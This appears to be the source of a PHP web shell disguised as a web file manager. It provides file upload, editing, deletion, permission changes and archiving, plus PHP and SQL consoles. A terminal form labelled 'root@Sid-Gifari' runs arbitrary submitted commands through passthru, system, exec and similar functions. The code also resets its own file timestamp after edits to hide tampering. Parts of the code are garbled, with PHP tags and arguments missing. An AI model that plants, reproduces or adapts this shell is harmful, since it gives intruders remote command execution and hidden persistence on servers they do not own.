hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
=fm_home_style()
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {
<table class="whole">
<tr>
    <th>=__('File manager').' - '.$path</th>
</tr>

</table>
if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th>=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']</th>
</tr>
<tr>
    <td class="row1">
        =$msg_ntimes
	</td>
</tr>
<tr>
    <td class="row1">
        =fm_home() <a href="=$backlink">=__('Back')</a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="=$editlink">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false">=htmlspecialchars($oldcontent)</textarea>
            <input type="submit" name="save" value="=__('Submit')">
            <input type="submit" name="cancel" value="=__('Cancel')">
        </form>
    </td>
</tr>
</table>
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
<table class="whole">
<tr>
    <th>=__('File manager').' - '.$path</th>
</tr>
<tr>
    <td class="row1">
        =$msg_ntimes
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="=$backlink">=__('Back')</a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="=$link">
           =__('Rights').' - '.$_REQUEST['rights'] <input type="text" name="rights_val" value="=$oldrights">
        if (is_dir($path.$_REQUEST['rights'])) {
            <input type="checkbox" name="recursively" value="1"> =__('Recursively')<br/>
        }
            <input type="submit" name="save" value="=__('Submit')">
        </form>
    </td>
</tr>
</table>
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>) {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
<table class="whole">
<tr>
    <th>=__('File manager').' - '.$path</th>
</tr>
<tr>
    <td class="row1">
        =$msg_ntimes
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="=$backlink">=__('Back')</a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="=$link">
            =__('Rename'): <input type="text" name="newname" value="=$_REQUEST['rename']"><br/>
            <input type="submit" name="save" value="=__('Submit')">
        </form>
    </td>
</tr>
</table>
} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>) {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(, $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace(.$ext,'',$destination);

		     	// $ext = end(explode(, $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode(,basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode(,$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
<table class="whole" id="header_table" >
<tr>
    <th colspan="2">=__('File manager')=(!empty($path)?' - '.$path:'')</th>
</tr>
if(!empty($msg_ntimes)){
<tr>
	<td colspan="2" class="row2">=$msg_ntimes</td>
</tr>
}
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				=fm_home()
			</td>
			<td>
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

<strong>root@Sid-Gifari:echo htmlspecialchars($cwd);$</strong><br>
<pre>echo htmlspecialchars($output);</pre>

<form method="post" action="echo $url_inc;">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="echo htmlspecialchars($path);" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			if(!empty($fm_config['make_directory'])) {
				<form method="post" action="=$url_inc">
				<input type="hidden" name="path" value="=$path" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="=__('Make directory')">
				</form>
			}
			</td>
			<td>
			if(!empty($fm_config['new_file'])) {
				<form method="post" action="=$url_inc">
				<input type="hidden" name="path"     value="=$path" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="=__('New file')">
				</form>
			}
			</td>
			<td>
				<form  method="post" action="=$url_inc" style="display:inline">
				<input type="hidden" name="path" value="=$path" />
				<input type="text" placeholder="=__('Recursive search')" name="search_recursive" value="=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''" size="15">
